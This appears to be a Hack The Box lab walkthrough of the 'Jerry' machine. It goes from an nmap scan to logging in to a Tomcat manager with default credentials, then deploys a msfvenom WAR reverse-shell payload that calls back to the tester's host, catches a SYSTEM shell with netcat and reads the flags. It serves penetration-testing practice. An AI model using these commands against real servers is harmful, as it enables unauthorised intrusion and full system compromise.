

## Jerry

### Machine Info

### Walkthrough

1. Nmap scan result in the found of Tomcat service Website running in 8080 port.

- `[ghoth@parrot]—[~/HTB/machines/jerry]`  
    `└─$ cat serviceScan.nmap`

**Nmap 7.94SVN scan initiated Sat Jan 11 00:40:06 2025 as: nmap -sC -sV -p- -Pn --min-rate 5000 -oA serviceScan 10.10.10.95**

Nmap scan report for 10.10.10.95 (10.10.10.95)

Host is up (0.22s latency).

Not shown: 65534 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1

|\_ http-title: Apache Tomcat/7.0.88

|\_ http-favicon: Apache Tomcat

|\_ http-server-header: Apache-Coyote/1.1

Service detection performed. Please report any incorrect results at

<https://nmap.org/submit/> .


**Nmap done at Sat Jan 11 00:41:00 2025 -- 1 IP address (1 host up)  
scanned in 53.90 seconds**

2. Home page of the website:

Home Documentation Configuration Examples Wiki Mailing Lists Find Help

## Apache Tomcat/7.0.88

If you're seeing this, you've successfully installed Tomcat. Congratulations!



Recommended Reading:  
[Security Considerations HOW-TO](#)  
[Manager Application HOW-TO](#)  
[Clustering/Session Replication HOW-TO](#)

Server Status  
Manager App  
Host Manager

### Developer Quick Start

[Tomcat Setup](#) [Realms & AAA](#) [Examples](#) [Servlet Specifications](#)  
[First Web Application](#) [JDBC DataSources](#) [Tomcat Versions](#)

#### Managing Tomcat

For security, access to the [manager webapp](#) is restricted. Users are defined in:

```
$CATALINA_HOME/conf/tomcat-users.xml
```

In Tomcat 7.0 access to the manager application is split between different users. [Read more...](#)

[Release Notes](#)  
[Changelog](#)  
[Migration Guide](#)  
[Security Notices](#)

#### Documentation

[Tomcat 7.0 Documentation](#)  
[Tomcat 7.0 Configuration](#)  
[Tomcat Wiki](#)

Find additional important configuration information in:

```
$CATALINA_HOME/RUNNING.txt
```

Developers may be interested in:

- [Tomcat 7.0 Bug Database](#)
- [Tomcat 7.0 JavaDocs](#)
- [Tomcat 7.0 SVN Repository](#)

#### Getting Help

##### FAQ and Mailing Lists

The following mailing lists are available:

- [tomcat-announce](#)  
Important announcements, releases, security vulnerability notifications. (Low volume).
- [tomcat-users](#)  
User support and discussion
- [taglibs-user](#)  
User support and discussion for [Apache Taglibs](#)
- [tomcat-dev](#)  
Development mailing list, including commit messages

#### Other Downloads

- [Tomcat Connectors](#)
- [Tomcat Native](#)
- [Taglibs](#)
- [Deployer](#)

#### Other Documentation

- [Tomcat Connectors](#)
- [mod\\_jk Documentation](#)
- [Tomcat Native](#)
- [Deployer](#)

#### Get Involved

- [Overview](#)
- [SVN Repositories](#)
- [Mailing Lists](#)
- [Wiki](#)

#### Miscellaneous

- [Contact](#)
- [Legal](#)
- [Sponsorship](#)
- [Thanks](#)

#### Apache Software Foundation

- [Who We Are](#)
- [Heritage](#)
- [Apache Home](#)
- [Resources](#)

1.

3. When visiting the manager app, It ask for credential. Cancelling the login reveal the credential:

1. Username -> tomcat
2. Password -> s3cret

← → ↻ 🔍 http://10.10.10.95:8080/manager/html

🔖 Import bookmarks... 📌 Save to RefWorks 🌐 schoolworksp.com 🛡️ Online - Reverse Shell ... 🛡️ Hacker101 CTF 🛡️ CS&S - CS&S Problem ... 📁 Networking 📁 MATH resources

## 401 Unauthorized

You are not authorized to view this page. If you have not changed any configuration files, please examine the file `conf/tomcat-users.xml` in your installation. That file must contain the credentials to let you use this webapp.

For example, to add the `manager-gui` role to a user named `tomcat` with a password of `s3cret` add the following to the config file listed above.

```
<role rolename="manager-gui"/>
<user username="tomcat" password="s3cret" roles="manager-gui"/>
```

Note that for Tomcat 7 onwards, the roles required to use the manager application were changed from the single `manager` role to the following four roles. You will need to assign the role(s) required for the functionality you wish to access.

- `manager-gui` - allows access to the HTML GUI and the status pages
- `manager-script` - allows access to the text interface and the status pages
- `manager-jmx` - allows access to the JMX proxy and the status pages
- `manager-status` - allows access to the status pages only

The HTML interface is protected against CSRF but the text and JMX interfaces are not. To maintain the CSRF protection:

- Users with the `manager-gui` role should not be granted either the `manager-script` or `manager-jmx` roles.
- If the text or jmx interfaces are accessed through a browser (e.g. for testing since these interfaces are intended for tools not humans) then the browser must be closed afterwards to terminate the session.

For more information - please see the [Manager App HOW-TO](#).

3.

4. Landing page after login in:



### Tomcat Web Application Manager

Message:  OK

Manager	HTML Manager Help	Manager Help	Server Status
<a href="#">List Applications</a>			

Applications	Version	Display Name	Running	Sessions	Commands
/	None specified	Welcome to Tomcat	true	0	<a href="#">Start</a> <a href="#">Stop</a> <a href="#">Reload</a> <a href="#">Undeploy</a> <a href="#">Expire sessions</a> with idle ≥ 30 minutes
/docs	None specified	Tomcat Documentation	true	0	<a href="#">Start</a> <a href="#">Stop</a> <a href="#">Reload</a> <a href="#">Undeploy</a> <a href="#">Expire sessions</a> with idle ≥ 30 minutes
/examples	None specified	Servlet and JSP Examples	true	0	<a href="#">Start</a> <a href="#">Stop</a> <a href="#">Reload</a> <a href="#">Undeploy</a> <a href="#">Expire sessions</a> with idle ≥ 30 minutes
/host-manager	None specified	Tomcat Host Manager Application	true	0	<a href="#">Start</a> <a href="#">Stop</a> <a href="#">Reload</a> <a href="#">Undeploy</a> <a href="#">Expire sessions</a> with idle ≥ 30 minutes
/manager	None specified	Tomcat Manager Application	true	1	<a href="#">Start</a> <a href="#">Stop</a> <a href="#">Reload</a> <a href="#">Undeploy</a> <a href="#">Expire sessions</a> with idle ≥ 30 minutes
/valve	None specified		true	0	<a href="#">Start</a> <a href="#">Stop</a> <a href="#">Reload</a> <a href="#">Undeploy</a> <a href="#">Expire sessions</a> with idle ≥ 30 minutes

Deploy

Deploy directory or WAR file located on server

Context Path (required):

XML Configuration file URL:

5. The page seem to be allowing the user to upload .war file.

WAR file to deploy

Select WAR file to upload  No file selected.

1.

6. Then i generate a msfvenom .war file payload for reverse shell. and named it payload.war.

- └─[X]─[ghoth@parrot]─[~/HTB/machines/jerry]  
└─\$msfvenom -p java/jsp\_shell\_reverse\_tcp LHOST=10.10.14.4 LPORT=8888  
-f war -o payload.war  
Payload size: 1096 bytes  
Final size of war file: 1096 bytes  
Saved as: payload.war

7. The uploaded file seem to be appear in the main page table, where we can click and run.

Manager		
<a href="#">List Applications</a>		

Applications		
Path	Version	
/	None specified	Welcome to
<a href="#">/docs</a>	None specified	Tomcat Docu
<a href="#">/examples</a>	None specified	Servlet and J
<a href="#">/host-manager</a>	None specified	Tomcat Host
<a href="#">/manager</a>	None specified	Tomcat Mani
<a href="#">/payload</a>	None specified	

1.

8. Before executing the payload, I had already started my netcat server listening in the port 8888. And we got the connection after executing the payload.

```
[x]-[ghoth@parrot]-[~/HTB/machines/jerry]
$nc -lnvp 8888
listening on [any] 8888 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.95] 49192
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\apache-tomcat-7.0.88>dir
dir
Volume in drive C has no label.
Volume Serial Number is 0834-6C04

Directory of C:\apache-tomcat-7.0.88
```

9. The shell we got seem to have administrator authority (High authority).

```
C:\Users>whoami
whoami
nt authority\system
```

10. Then we found the flag in the flag directory in desktop of Administrator user.

```
C:\Users\Administrator\Desktop\flags>dir
dir
Volume in drive C has no label.
Volume Serial Number is 0834-6C04

Directory of C:\Users\Administrator\Desktop\flags

06/19/2018  06:09 AM    <DIR>          .
06/19/2018  06:09 AM    <DIR>          ..
06/19/2018  06:11 AM                88 2 for the price of 1.txt
                1 File(s)                88 bytes
                2 Dir(s)  2,418,704,384 bytes free

C:\Users\Administrator\Desktop\flags>type "2 for the price of 1.txt"
type "2 for the price of 1.txt"
user.txt
700[REDACTED]d00

root.txt
04a[REDACTED]90e
```